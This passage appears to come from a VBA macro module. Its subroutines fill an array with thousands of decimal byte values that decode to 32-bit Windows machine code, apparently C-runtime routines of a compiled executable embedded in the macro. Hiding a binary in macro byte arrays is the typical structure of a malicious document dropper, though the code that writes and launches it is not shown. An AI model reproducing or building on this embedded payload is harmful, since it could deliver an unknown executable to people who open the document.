    a(194) = Array(125, 104, 96, 192, 64, 0, 255, 21, 20, 177, 64, 0, 139, 216, 133, 219, 15, 132, 16, 1, 0, 0, 139, 61, 140, 176, 64, 0, 104, 84, 192, 64, 0, 83, 255, 215, 133, 192, 15, 132, 250, 0, 0, 0, 139, 53, 168, 176, 64, 0, 80, 255, 214, 104, 68, 192, 64, 0, 83, 163, 24, 6, 65, 0, 255, 215, 80, 255, 214, 104, 48, 192, 64, 0, 83, 163, 28, 6, 65, 0, 255, 215, 80, 255, 214, 104, 20, 192, 64, 0, 83, 163, 32, 6, 65, 0, 255, 215, 80, 255, 214, 163, 40, 6, 65, 0, 133, 192, 116, 16, 104, 252, 191, 64, 0, 83, 255, 215, 80, 255, 214, 163, 36, 6, 65, 0, 161, 36)
    a(195) = Array(6, 65, 0, 139, 77, 232, 139, 53, 152, 176, 64, 0, 59, 193, 116, 71, 57, 13, 40, 6, 65, 0, 116, 63, 80, 255, 214, 255, 53, 40, 6, 65, 0, 139, 248, 255, 214, 139, 216, 133, 255, 116, 44, 133, 219, 116, 40, 255, 215, 133, 192, 116, 25, 141, 77, 220, 81, 106, 12, 141, 77, 240, 81, 106, 1, 80, 255, 211, 133, 192, 116, 6, 246, 69, 248, 1, 117, 9, 129, 77, 16, 0, 0, 32, 0, 235, 51, 161, 28, 6, 65, 0, 59, 69, 232, 116, 41, 80, 255, 214, 133, 192, 116, 34, 255, 208, 137, 69, 236, 133, 192, 116, 25, 161, 32, 6, 65, 0, 59, 69, 232, 116, 15, 80, 255, 214, 133, 192)
    a(196) = Array(116, 8, 255, 117, 236, 255, 208, 137, 69, 236, 255, 53, 24, 6, 65, 0, 255, 214, 133, 192, 116, 16, 255, 117, 16, 255, 117, 228, 255, 117, 224, 255, 117, 236, 255, 208, 235, 2, 51, 192, 139, 77, 252, 95, 94, 51, 205, 91, 232, 171, 179, 255, 255, 201, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 87, 133, 246, 116, 7, 139, 125, 12, 133, 255, 117, 21, 232, 65, 192, 255, 255, 106, 22, 94, 137, 48, 232, 249, 204, 255, 255, 139, 198, 95, 94, 93, 195, 139, 77, 16, 133, 201, 117, 7, 51, 192, 102, 137, 6, 235, 221, 139, 214, 102, 131, 58, 0, 116, 6, 131, 194, 2, 79, 117, 244, 133, 255, 116)
    a(197) = Array(231, 43, 209, 15, 183, 1, 102, 137, 4, 10, 131, 193, 2, 102, 133, 192, 116, 3, 79, 117, 238, 51, 192, 133, 255, 117, 194, 102, 137, 6, 232, 239, 191, 255, 255, 106, 34, 89, 137, 8, 139, 241, 235, 170, 139, 255, 85, 139, 236, 139, 85, 8, 83, 139, 93, 20, 86, 87, 133, 219, 117, 16, 133, 210, 117, 16, 57, 85, 12, 117, 18, 51, 192, 95, 94, 91, 93, 195, 133, 210, 116, 7, 139, 125, 12, 133, 255, 117, 19, 232, 180, 191, 255, 255, 106, 22, 94, 137, 48, 232, 108, 204, 255, 255, 139, 198, 235, 221, 133, 219, 117, 7, 51, 192, 102, 137, 2, 235, 208, 139, 77, 16, 133, 201, 117, 7, 51, 192)
    a(198) = Array(102, 137, 2, 235, 212, 139, 194, 131, 251, 255, 117, 24, 139, 242, 43, 241, 15, 183, 1, 102, 137, 4, 14, 131, 193, 2, 102, 133, 192, 116, 39, 79, 117, 238, 235, 34, 139, 241, 43, 242, 15, 183, 12, 6, 102, 137, 8, 131, 192, 2, 102, 133, 201, 116, 6, 79, 116, 3, 75, 117, 235, 133, 219, 117, 5, 51, 201, 102, 137, 8, 133, 255, 15, 133, 121, 255, 255, 255, 51, 192, 131, 251, 255, 117, 16, 139, 77, 12, 106, 80, 102, 137, 68, 74, 254, 88, 233, 100, 255, 255, 255, 102, 137, 2, 232, 37, 191, 255, 255, 106, 34, 89, 137, 8, 139, 241, 233, 106, 255, 255, 255, 139, 255, 85, 139, 236, 139, 69)
    a(199) = Array(8, 102, 139, 8, 131, 192, 2, 102, 133, 201, 117, 245, 43, 69, 8, 209, 248, 72, 93, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 87, 133, 246, 116, 7, 139, 125, 12, 133, 255, 117, 21, 232, 228, 190, 255, 255, 106, 22, 94, 137, 48, 232, 156, 203, 255, 255, 139, 198, 95, 94, 93, 195, 139, 69, 16, 133, 192, 117, 5, 102, 137, 6, 235, 223, 139, 214, 43, 208, 15, 183, 8, 102, 137, 12, 2, 131, 192, 2, 102, 133, 201, 116, 3, 79, 117, 238, 51, 192, 133, 255, 117, 212, 102, 137, 6, 232, 164, 190, 255, 255, 106, 34, 89, 137, 8, 139, 241, 235, 188, 139, 255, 85, 139, 236, 139, 77, 8, 133)
    a(200) = Array(201, 120, 30, 131, 249, 2, 126, 12, 131, 249, 3, 117, 20, 161, 232, 248, 64, 0, 93, 195, 161, 232, 248, 64, 0, 137, 13, 232, 248, 64, 0, 93, 195, 232, 108, 190, 255, 255, 199, 0, 22, 0, 0, 0, 232, 35, 203, 255, 255, 131, 200, 255, 93, 195, 139, 255, 85, 139, 236, 86, 87, 51, 246, 255, 117, 8, 232, 226, 177, 255, 255, 139, 248, 89, 133, 255, 117, 39, 57, 5, 44, 6, 65, 0, 118, 31, 86, 255, 21, 24, 177, 64, 0, 141, 134, 232, 3, 0, 0, 59, 5, 44, 6, 65, 0, 118, 3, 131, 200, 255, 139, 240, 131, 248, 255, 117, 202, 139, 199, 95, 94, 93, 195, 139, 255, 85, 139, 236)
    a(201) = Array(86, 87, 51, 246, 106, 0, 255, 117, 12, 255, 117, 8, 232, 210, 33, 0, 0, 139, 248, 131, 196, 12, 133, 255, 117, 39, 57, 5, 44, 6, 65, 0, 118, 31, 86, 255, 21, 24, 177, 64, 0, 141, 134, 232, 3, 0, 0, 59, 5, 44, 6, 65, 0, 118, 3, 131, 200, 255, 139, 240, 131, 248, 255, 117, 195, 139, 199, 95, 94, 93, 195, 139, 255, 85, 139, 236, 86, 87, 51, 246, 255, 117, 12, 255, 117, 8, 232, 10, 34, 0, 0, 139, 248, 89, 89, 133, 255, 117, 44, 57, 69, 12, 116, 39, 57, 5, 44, 6, 65, 0, 118, 31, 86, 255, 21, 24, 177, 64, 0, 141, 134, 232, 3, 0, 0, 59, 5, 44)
    a(202) = Array(6, 65, 0, 118, 3, 131, 200, 255, 139, 240, 131, 248, 255, 117, 193, 139, 199, 95, 94, 93, 195, 106, 16, 104, 8, 208, 64, 0, 232, 79, 202, 255, 255, 51, 219, 137, 93, 228, 106, 1, 232, 187, 245, 255, 255, 89, 137, 93, 252, 106, 3, 95, 137, 125, 224, 59, 61, 160, 23, 65, 0, 125, 84, 139, 247, 161, 132, 7, 65, 0, 57, 28, 176, 116, 69, 139, 4, 176, 246, 64, 12, 131, 116, 15, 80, 232, 220, 185, 255, 255, 89, 131, 248, 255, 116, 3, 255, 69, 228, 131, 255, 20, 124, 40, 161, 132, 7, 65, 0, 139, 4, 176, 131, 192, 32, 80, 255, 21, 216, 176, 64, 0, 161, 132, 7, 65, 0, 255)
    a(203) = Array(52, 176, 232, 104, 176, 255, 255, 89, 161, 132, 7, 65, 0, 137, 28, 176, 71, 235, 161, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 14, 202, 255, 255, 195, 106, 1, 232, 96, 244, 255, 255, 89, 195, 139, 255, 85, 139, 236, 131, 236, 52, 83, 51, 219, 246, 69, 16, 128, 86, 139, 240, 137, 93, 220, 136, 93, 254, 137, 93, 248, 199, 69, 204, 12, 0, 0, 0, 137, 93, 208, 116, 9, 137, 93, 212, 198, 69, 255, 16, 235, 10, 199, 69, 212, 1, 0, 0, 0, 136, 93, 255, 141, 69, 220, 80, 232, 15, 36, 0, 0, 89, 133, 192, 15, 133, 222, 6, 0, 0, 184, 0, 128)
    a(204) = Array(0, 0, 133, 69, 16, 117, 18, 247, 69, 16, 0, 64, 7, 0, 117, 5, 57, 69, 220, 116, 4, 128, 77, 255, 128, 139, 69, 16, 131, 224, 3, 43, 195, 185, 0, 0, 0, 192, 186, 0, 0, 0, 128, 116, 67, 72, 116, 40, 72, 116, 32, 232, 109, 188, 255, 255, 137, 24, 131, 14, 255, 232, 80, 188, 255, 255, 106, 22, 94, 137, 48, 232, 8, 201, 255, 255, 139, 198, 233, 222, 0, 0, 0, 137, 77, 244, 235, 27, 246, 69, 16, 8, 116, 9, 247, 69, 16, 0, 0, 7, 0, 117, 236, 199, 69, 244, 0, 0, 0, 64, 235, 3, 137, 85, 244, 139, 69, 20, 106, 16, 89, 43, 193, 116, 55, 43, 193, 116)
    a(205) = Array(42, 43, 193, 116, 29, 43, 193, 116, 16, 131, 232, 64, 117, 165, 57, 85, 244, 15, 148, 192, 137, 69, 236, 235, 30, 199, 69, 236, 3, 0, 0, 0, 235, 21, 199, 69, 236, 2, 0, 0, 0, 235, 12, 199, 69, 236, 1, 0, 0, 0, 235, 3, 137, 93, 236, 139, 69, 16, 186, 0, 7, 0, 0, 35, 194, 185, 0, 4, 0, 0, 87, 191, 0, 1, 0, 0, 59, 193, 127, 51, 116, 40, 59, 195, 116, 36, 59, 199, 116, 23, 61, 0, 2, 0, 0, 116, 84, 61, 0, 3, 0, 0, 117, 45, 199, 69, 232, 2, 0, 0, 0, 235, 84, 199, 69, 232, 4, 0, 0, 0, 235, 75, 199, 69, 232, 3, 0, 0)
    a(206) = Array(0, 235, 66, 61, 0, 5, 0, 0, 116, 52, 61, 0, 6, 0, 0, 116, 36, 59, 194, 116, 41, 232, 139, 187, 255, 255, 137, 24, 131, 14, 255, 232, 110, 187, 255, 255, 106, 22, 94, 137, 48, 232, 38, 200, 255, 255, 139, 198, 95, 94, 91, 201, 195, 199, 69, 232, 5, 0, 0, 0, 235, 7, 199, 69, 232, 1, 0, 0, 0, 139, 69, 16, 199, 69, 240, 128, 0, 0, 0, 133, 199, 116, 22, 139, 13, 24, 252, 64, 0, 247, 209, 35, 77, 24, 132, 201, 120, 7, 199, 69, 240, 1, 0, 0, 0, 168, 64, 116, 18, 129, 77, 240, 0, 0, 0, 4, 129, 77, 244, 0, 0, 1, 0, 131, 77, 236, 4, 169)
    a(207) = Array(0, 16, 0, 0, 116, 3, 9, 125, 240, 168, 32, 116, 9, 129, 77, 240, 0, 0, 0, 8, 235, 11, 168, 16, 116, 7, 129, 77, 240, 0, 0, 0, 16, 232, 143, 13, 0, 0, 131, 203, 255, 137, 6, 59, 195, 117, 33, 232, 241, 186, 255, 255, 131, 32, 0, 137, 30, 232, 212, 186, 255, 255, 199, 0, 24, 0, 0, 0, 232, 201, 186, 255, 255, 139, 0, 233, 96, 255, 255, 255, 139, 69, 8, 139, 61, 28, 177, 64, 0, 106, 0, 255, 117, 240, 199, 0, 1, 0, 0, 0, 255, 117, 232, 141, 69, 204, 80, 255, 117, 236, 255, 117, 244, 255, 117, 12, 255, 215, 137, 69, 224, 59, 195, 117, 112, 139, 77, 244)
    a(208) = Array(184, 0, 0, 0, 192, 35, 200, 59, 200, 117, 43, 246, 69, 16, 1, 116, 37, 129, 101, 244, 255, 255, 255, 127, 106, 0, 255, 117, 240, 141, 69, 204, 255, 117, 232, 80, 255, 117, 236, 255, 117, 244, 255, 117, 12, 255, 215, 137, 69, 224, 59, 195, 117, 55, 139, 54, 139, 198, 193, 248, 5, 139, 4, 133, 128, 6, 65, 0, 131, 230, 31, 193, 230, 6, 141, 68, 48, 4, 128, 32, 254, 255, 21, 16, 176, 64, 0, 80, 232, 91, 186, 255, 255, 89, 232, 47, 186, 255, 255, 139, 0, 137, 69, 248, 233, 102, 4, 0, 0, 255, 117, 224, 255, 21, 212, 176, 64, 0, 133, 192, 117, 68, 139, 54, 139, 198, 193, 248)
    a(209) = Array(5, 139, 4, 133, 128, 6, 65, 0, 131, 230, 31, 193, 230, 6, 141, 68, 48, 4, 128, 32, 254, 255, 21, 16, 176, 64, 0, 139, 240, 86, 232, 21, 186, 255, 255, 89, 255, 117, 224, 255, 21, 24, 176, 64, 0, 133, 246, 117, 173, 232, 220, 185, 255, 255, 199, 0, 13, 0, 0, 0, 235, 160, 131, 248, 2, 117, 6, 128, 77, 255, 64, 235, 9, 131, 248, 3, 117, 4, 128, 77, 255, 8, 255, 117, 224, 255, 54, 232, 35, 10, 0, 0, 139, 6, 139, 208, 131, 224, 31, 193, 250, 5, 139, 20, 149, 128, 6, 65, 0, 89, 193, 224, 6, 89, 138, 77, 255, 128, 201, 1, 136, 76, 2, 4, 139, 6, 139, 208)
    a(210) = Array(131, 224, 31, 193, 250, 5, 139, 20, 149, 128, 6, 65, 0, 193, 224, 6, 141, 68, 2, 36, 128, 32, 128, 136, 77, 253, 128, 101, 253, 72, 136, 77, 255, 117, 127, 246, 193, 128, 15, 132, 168, 2, 0, 0, 246, 69, 16, 2, 116, 112, 106, 2, 83, 255, 54, 232, 218, 226, 255, 255, 139, 248, 131, 196, 12, 59, 251, 117, 25, 232, 91, 185, 255, 255, 129, 56, 131, 0, 0, 0, 116, 80, 255, 54, 232, 6, 228, 255, 255, 233, 255, 254, 255, 255, 131, 101, 216, 0, 106, 1, 141, 69, 216, 80, 255, 54, 232, 101, 202, 255, 255, 131, 196, 12, 133, 192, 117, 26, 102, 131, 125, 216, 26, 117, 19, 139, 199, 153)
End Sub

Private Sub Init7()
    a(211) = Array(82, 80, 255, 54, 232, 9, 30, 0, 0, 131, 196, 12, 59, 195, 116, 194, 106, 0, 106, 0, 255, 54, 232, 123, 226, 255, 255, 131, 196, 12, 59, 195, 116, 176, 246, 69, 255, 128, 15, 132, 40, 2, 0, 0, 191, 0, 64, 7, 0, 185, 0, 64, 0, 0, 133, 125, 16, 117, 15, 139, 69, 220, 35, 199, 117, 5, 9, 77, 16, 235, 3, 9, 69, 16, 139, 69, 16, 35, 199, 59, 193, 116, 68, 61, 0, 0, 1, 0, 116, 41, 61, 0, 64, 1, 0, 116, 34, 61, 0, 0, 2, 0, 116, 41, 61, 0, 64, 2, 0, 116, 34, 61, 0, 0, 4, 0, 116, 7, 61, 0, 64, 4, 0, 117, 30, 198, 69, 254)
    a(212) = Array(1, 235, 24, 139, 77, 16, 184, 1, 3, 0, 0, 35, 200, 59, 200, 117, 10, 198, 69, 254, 2, 235, 4, 198, 69, 254, 0, 247, 69, 16, 0, 0, 7, 0, 15, 132, 172, 1, 0, 0, 51, 255, 246, 69, 255, 64, 137, 125, 228, 15, 133, 157, 1, 0, 0, 139, 69, 244, 185, 0, 0, 0, 192, 35, 193, 61, 0, 0, 0, 64, 15, 132, 176, 0, 0, 0, 61, 0, 0, 0, 128, 116, 113, 59, 193, 15, 133, 121, 1, 0, 0, 139, 69, 232, 59, 199, 15, 134, 110, 1, 0, 0, 131, 248, 2, 118, 14, 131, 248, 4, 118, 43, 131, 248, 5, 15, 133, 91, 1, 0, 0, 15, 190, 69, 254, 51, 255, 72)
    a(213) = Array(15, 132, 30, 1, 0, 0, 72, 15, 133, 71, 1, 0, 0, 199, 69, 228, 255, 254, 0, 0, 106, 2, 233, 18, 1, 0, 0, 106, 2, 87, 87, 255, 54, 232, 234, 6, 0, 0, 131, 196, 16, 11, 194, 116, 204, 87, 87, 87, 255, 54, 232, 217, 6, 0, 0, 35, 194, 131, 196, 16, 59, 195, 15, 132, 142, 254, 255, 255, 106, 3, 141, 69, 228, 80, 255, 54, 232, 3, 201, 255, 255, 131, 196, 12, 59, 195, 15, 132, 118, 254, 255, 255, 131, 248, 2, 116, 106, 131, 248, 3, 15, 133, 172, 0, 0, 0, 129, 125, 228, 239, 187, 191, 0, 117, 88, 198, 69, 254, 1, 233, 216, 0, 0, 0, 139, 69, 232, 59)
    a(214) = Array(199, 15, 134, 205, 0, 0, 0, 131, 248, 2, 15, 134, 105, 255, 255, 255, 131, 248, 4, 15, 135, 87, 255, 255, 255, 106, 2, 87, 87, 255, 54, 232, 108, 6, 0, 0, 131, 196, 16, 11, 194, 15, 132, 74, 255, 255, 255, 87, 87, 87, 255, 54, 232, 87, 6, 0, 0, 131, 196, 16, 35, 194, 59, 195, 15, 133, 142, 0, 0, 0, 233, 7, 254, 255, 255, 139, 69, 228, 37, 255, 255, 0, 0, 61, 254, 255, 0, 0, 117, 26, 255, 54, 232, 254, 225, 255, 255, 89, 232, 43, 183, 255, 255, 106, 22, 94, 137, 48, 137, 117, 248, 233, 95, 1, 0, 0, 61, 255, 254, 0, 0, 117, 27, 87, 106, 2, 255, 54)
    a(215) = Array(232, 145, 224, 255, 255, 131, 196, 12, 59, 195, 15, 132, 194, 253, 255, 255, 198, 69, 254, 2, 235, 62, 87, 87, 255, 54, 232, 119, 224, 255, 255, 131, 196, 12, 235, 154, 199, 69, 228, 239, 187, 191, 0, 106, 3, 91, 139, 195, 43, 199, 80, 141, 68, 61, 228, 80, 255, 54, 232, 60, 216, 255, 255, 131, 196, 12, 131, 248, 255, 15, 132, 135, 253, 255, 255, 3, 248, 59, 223, 127, 221, 131, 203, 255, 139, 6, 139, 200, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 131, 224, 31, 193, 224, 6, 141, 68, 1, 36, 138, 8, 50, 77, 254, 128, 225, 127, 48, 8, 139, 6, 139, 200, 193, 249, 5, 139, 12, 141)
    a(216) = Array(128, 6, 65, 0, 131, 224, 31, 193, 224, 6, 141, 68, 1, 36, 139, 77, 16, 138, 16, 193, 233, 16, 192, 225, 7, 128, 226, 127, 10, 202, 128, 125, 253, 0, 136, 8, 117, 33, 246, 69, 16, 8, 116, 27, 139, 6, 139, 200, 131, 224, 31, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 193, 224, 6, 141, 68, 1, 4, 128, 8, 32, 139, 77, 244, 184, 0, 0, 0, 192, 35, 200, 59, 200, 117, 126, 246, 69, 16, 1, 116, 120, 255, 117, 224, 255, 21, 24, 176, 64, 0, 106, 0, 255, 117, 240, 141, 69, 204, 106, 3, 80, 255, 117, 236, 139, 69, 244, 37, 255, 255, 255, 127, 80, 255, 117, 12, 255, 21)
    a(217) = Array(28, 177, 64, 0, 59, 195, 117, 52, 255, 21, 16, 176, 64, 0, 80, 232, 36, 182, 255, 255, 139, 6, 139, 200, 131, 224, 31, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 193, 224, 6, 141, 68, 1, 4, 128, 32, 254, 255, 54, 232, 202, 6, 0, 0, 89, 233, 161, 251, 255, 255, 139, 54, 139, 206, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 131, 230, 31, 193, 230, 6, 137, 4, 14, 139, 69, 248, 233, 85, 250, 255, 255, 83, 83, 83, 83, 83, 232, 29, 194, 255, 255, 204, 106, 20, 104, 40, 208, 64, 0, 232, 126, 194, 255, 255, 51, 255, 137, 125, 228, 51, 192, 139, 117, 24, 59, 247, 15, 149)
    a(218) = Array(192, 59, 199, 117, 19, 232, 136, 181, 255, 255, 106, 22, 94, 137, 48, 232, 64, 194, 255, 255, 139, 198, 235, 89, 131, 14, 255, 51, 192, 57, 125, 8, 15, 149, 192, 59, 199, 116, 222, 57, 125, 28, 116, 15, 139, 69, 20, 37, 127, 254, 255, 255, 247, 216, 27, 192, 64, 116, 202, 137, 125, 252, 255, 117, 20, 255, 117, 16, 255, 117, 12, 255, 117, 8, 141, 69, 228, 80, 139, 198, 232, 92, 248, 255, 255, 131, 196, 20, 137, 69, 224, 199, 69, 252, 254, 255, 255, 255, 232, 21, 0, 0, 0, 139, 69, 224, 59, 199, 116, 3, 131, 14, 255, 232, 63, 194, 255, 255, 195, 51, 255, 139, 117, 24, 57, 125, 228, 116)
    a(219) = Array(40, 57, 125, 224, 116, 27, 139, 6, 139, 200, 193, 249, 5, 131, 224, 31, 193, 224, 6, 139, 12, 141, 128, 6, 65, 0, 141, 68, 1, 4, 128, 32, 254, 255, 54, 232, 102, 7, 0, 0, 89, 195, 139, 255, 85, 139, 236, 106, 1, 255, 117, 8, 255, 117, 24, 255, 117, 20, 255, 117, 16, 255, 117, 12, 232, 33, 255, 255, 255, 131, 196, 24, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 86, 139, 241, 198, 70, 12, 0, 133, 192, 117, 99, 232, 37, 232, 255, 255, 137, 70, 8, 139, 72, 108, 137, 14, 139, 72, 104, 137, 78, 4, 139, 14, 59, 13, 232, 232, 64, 0, 116, 18, 139, 13, 20, 238, 64, 0)
    a(220) = Array(133, 72, 112, 117, 7, 232, 109, 16, 0, 0, 137, 6, 139, 70, 4, 59, 5, 24, 237, 64, 0, 116, 22, 139, 70, 8, 139, 13, 20, 238, 64, 0, 133, 72, 112, 117, 8, 232, 233, 18, 0, 0, 137, 70, 4, 139, 70, 8, 246, 64, 112, 2, 117, 20, 131, 72, 112, 2, 198, 70, 12, 1, 235, 10, 139, 8, 137, 14, 139, 64, 4, 137, 70, 4, 139, 198, 94, 93, 194, 4, 0, 139, 255, 85, 139, 236, 131, 236, 16, 51, 192, 83, 87, 57, 69, 16, 15, 132, 204, 0, 0, 0, 139, 93, 8, 133, 219, 117, 26, 232, 32, 180, 255, 255, 199, 0, 22, 0, 0, 0, 232, 215, 192, 255, 255, 184, 255, 255)
    a(221) = Array(255, 127, 233, 171, 0, 0, 0, 139, 125, 12, 133, 255, 116, 223, 86, 255, 117, 20, 141, 77, 240, 232, 48, 255, 255, 255, 139, 69, 240, 131, 120, 20, 0, 117, 65, 43, 223, 15, 183, 4, 59, 131, 248, 65, 114, 13, 131, 248, 90, 119, 8, 131, 192, 32, 15, 183, 240, 235, 2, 139, 240, 15, 183, 7, 131, 248, 65, 114, 11, 131, 248, 90, 119, 6, 131, 192, 32, 15, 183, 192, 131, 199, 2, 255, 77, 16, 116, 68, 102, 133, 246, 116, 63, 102, 59, 240, 116, 195, 235, 56, 141, 69, 240, 80, 15, 183, 3, 80, 232, 63, 27, 0, 0, 15, 183, 240, 141, 69, 240, 80, 15, 183, 7, 80, 232, 47, 27, 0)
    a(222) = Array(0, 131, 196, 16, 131, 195, 2, 131, 199, 2, 255, 77, 16, 15, 183, 192, 116, 10, 102, 133, 246, 116, 5, 102, 59, 240, 116, 200, 15, 183, 200, 15, 183, 198, 43, 193, 128, 125, 252, 0, 94, 116, 7, 139, 77, 248, 131, 97, 112, 253, 95, 91, 201, 195, 139, 255, 85, 139, 236, 131, 61, 80, 6, 65, 0, 0, 86, 117, 121, 51, 192, 57, 69, 16, 15, 132, 129, 0, 0, 0, 139, 117, 8, 133, 246, 117, 23, 232, 54, 179, 255, 255, 199, 0, 22, 0, 0, 0, 232, 237, 191, 255, 255, 184, 255, 255, 255, 127, 235, 99, 139, 77, 12, 133, 201, 116, 226, 43, 241, 15, 183, 4, 14, 131, 248, 65, 114, 13)
    a(223) = Array(131, 248, 90, 119, 8, 131, 192, 32, 15, 183, 208, 235, 2, 139, 208, 15, 183, 1, 131, 248, 65, 114, 11, 131, 248, 90, 119, 6, 131, 192, 32, 15, 183, 192, 131, 193, 2, 255, 77, 16, 116, 10, 102, 133, 210, 116, 5, 102, 59, 208, 116, 195, 15, 183, 200, 15, 183, 194, 43, 193, 235, 19, 106, 0, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 131, 254, 255, 255, 131, 196, 16, 94, 93, 195, 139, 255, 85, 139, 236, 131, 125, 16, 0, 117, 4, 51, 192, 93, 195, 139, 85, 12, 139, 77, 8, 255, 77, 16, 116, 21, 15, 183, 1, 102, 133, 192, 116, 13, 102, 59, 2, 117, 8, 131, 193, 2, 131, 194)
    a(224) = Array(2, 235, 230, 15, 183, 1, 15, 183, 10, 43, 193, 93, 195, 204, 204, 204, 85, 139, 236, 83, 86, 87, 85, 106, 0, 106, 0, 104, 168, 123, 64, 0, 255, 117, 8, 232, 76, 38, 0, 0, 93, 95, 94, 91, 139, 229, 93, 195, 139, 76, 36, 4, 247, 65, 4, 6, 0, 0, 0, 184, 1, 0, 0, 0, 116, 50, 139, 68, 36, 20, 139, 72, 252, 51, 200, 232, 144, 165, 255, 255, 85, 139, 104, 16, 139, 80, 40, 82, 139, 80, 36, 82, 232, 20, 0, 0, 0, 131, 196, 8, 93, 139, 68, 36, 8, 139, 84, 36, 16, 137, 2, 184, 3, 0, 0, 0, 195, 83, 86, 87, 139, 68, 36, 16, 85, 80, 106, 254)
    a(225) = Array(104, 176, 123, 64, 0, 100, 255, 53, 0, 0, 0, 0, 161, 4, 224, 64, 0, 51, 196, 80, 141, 68, 36, 4, 100, 163, 0, 0, 0, 0, 139, 68, 36, 40, 139, 88, 8, 139, 112, 12, 131, 254, 255, 116, 58, 131, 124, 36, 44, 255, 116, 6, 59, 116, 36, 44, 118, 45, 141, 52, 118, 139, 12, 179, 137, 76, 36, 12, 137, 72, 12, 131, 124, 179, 4, 0, 117, 23, 104, 1, 1, 0, 0, 139, 68, 179, 8, 232, 73, 0, 0, 0, 139, 68, 179, 8, 232, 95, 0, 0, 0, 235, 183, 139, 76, 36, 4, 100, 137, 13, 0, 0, 0, 0, 131, 196, 24, 95, 94, 91, 195, 51, 192, 100, 139, 13, 0, 0)
    a(226) = Array(0, 0, 129, 121, 4, 176, 123, 64, 0, 117, 16, 139, 81, 12, 139, 82, 12, 57, 81, 8, 117, 5, 184, 1, 0, 0, 0, 195, 83, 81, 187, 144, 230, 64, 0, 235, 11, 83, 81, 187, 144, 230, 64, 0, 139, 76, 36, 12, 137, 75, 8, 137, 67, 4, 137, 107, 12, 85, 81, 80, 88, 89, 93, 89, 91, 194, 4, 0, 255, 208, 195, 139, 255, 85, 139, 236, 255, 5, 128, 2, 65, 0, 104, 0, 16, 0, 0, 232, 218, 242, 255, 255, 89, 139, 77, 8, 137, 65, 8, 133, 192, 116, 13, 131, 73, 12, 8, 199, 65, 24, 0, 16, 0, 0, 235, 17, 131, 73, 12, 4, 141, 65, 20, 137, 65, 8, 199, 65)
    a(227) = Array(24, 2, 0, 0, 0, 139, 65, 8, 131, 97, 4, 0, 137, 1, 93, 195, 139, 255, 85, 139, 236, 81, 81, 139, 69, 12, 86, 139, 117, 8, 137, 69, 248, 139, 69, 16, 87, 86, 137, 69, 252, 232, 88, 2, 0, 0, 131, 207, 255, 89, 59, 199, 117, 17, 232, 215, 176, 255, 255, 199, 0, 9, 0, 0, 0, 139, 199, 139, 215, 235, 74, 255, 117, 20, 141, 77, 252, 81, 255, 117, 248, 80, 255, 21, 220, 176, 64, 0, 137, 69, 248, 59, 199, 117, 19, 255, 21, 16, 176, 64, 0, 133, 192, 116, 9, 80, 232, 201, 176, 255, 255, 89, 235, 207, 139, 198, 193, 248, 5, 139, 4, 133, 128, 6, 65, 0, 131, 230)
    a(228) = Array(31, 193, 230, 6, 141, 68, 48, 4, 128, 32, 253, 139, 69, 248, 139, 85, 252, 95, 94, 201, 195, 106, 20, 104, 72, 208, 64, 0, 232, 79, 189, 255, 255, 131, 203, 255, 137, 93, 220, 137, 93, 224, 139, 69, 8, 131, 248, 254, 117, 28, 232, 110, 176, 255, 255, 131, 32, 0, 232, 83, 176, 255, 255, 199, 0, 9, 0, 0, 0, 139, 195, 139, 211, 233, 161, 0, 0, 0, 133, 192, 120, 8, 59, 5, 104, 6, 65, 0, 114, 26, 232, 70, 176, 255, 255, 131, 32, 0, 232, 43, 176, 255, 255, 199, 0, 9, 0, 0, 0, 232, 226, 188, 255, 255, 235, 209, 139, 200, 193, 249, 5, 141, 60, 141, 128, 6, 65, 0)
    a(229) = Array(139, 240, 131, 230, 31, 193, 230, 6, 139, 15, 15, 190, 76, 49, 4, 131, 225, 1, 116, 198, 80, 232, 213, 1, 0, 0, 89, 131, 101, 252, 0, 139, 7, 246, 68, 48, 4, 1, 116, 28, 255, 117, 20, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 215, 254, 255, 255, 131, 196, 16, 137, 69, 220, 137, 85, 224, 235, 25, 232, 201, 175, 255, 255, 199, 0, 9, 0, 0, 0, 232, 209, 175, 255, 255, 131, 32, 0, 137, 93, 220, 137, 93, 224, 199, 69, 252, 254, 255, 255, 255, 232, 12, 0, 0, 0, 139, 69, 220, 139, 85, 224, 232, 193, 188, 255, 255, 195, 255, 117, 8, 232, 17, 2, 0, 0, 89, 195, 139)
    a(230) = Array(255, 85, 139, 236, 139, 69, 8, 86, 87, 133, 192, 120, 89, 59, 5, 104, 6, 65, 0, 115, 81, 139, 200, 193, 249, 5, 139, 240, 131, 230, 31, 141, 60, 141, 128, 6, 65, 0, 139, 15, 193, 230, 6, 131, 60, 14, 255, 117, 53, 131, 61, 0, 224, 64, 0, 1, 83, 139, 93, 12, 117, 30, 131, 232, 0, 116, 16, 72, 116, 8, 72, 117, 19, 83, 106, 244, 235, 8, 83, 106, 245, 235, 3, 83, 106, 246, 255, 21, 32, 177, 64, 0, 139, 7, 137, 28, 6, 51, 192, 91, 235, 22, 232, 39, 175, 255, 255, 199, 0, 9, 0, 0, 0, 232, 47, 175, 255, 255, 131, 32, 0, 131, 200, 255, 95, 94, 93, 195)
    a(231) = Array(139, 255, 85, 139, 236, 139, 77, 8, 83, 51, 219, 86, 87, 59, 203, 124, 91, 59, 13, 104, 6, 65, 0, 115, 83, 139, 193, 193, 248, 5, 139, 241, 131, 230, 31, 141, 60, 133, 128, 6, 65, 0, 139, 7, 193, 230, 6, 246, 68, 48, 4, 1, 116, 54, 131, 60, 48, 255, 116, 48, 131, 61, 0, 224, 64, 0, 1, 117, 29, 43, 203, 116, 16, 73, 116, 8, 73, 117, 19, 83, 106, 244, 235, 8, 83, 106, 245, 235, 3, 83, 106, 246, 255, 21, 32, 177, 64, 0, 139, 7, 131, 12, 6, 255, 51, 192, 235, 21, 232, 161, 174, 255, 255, 199, 0, 9, 0, 0, 0, 232, 169, 174, 255, 255, 137, 24, 131, 200)
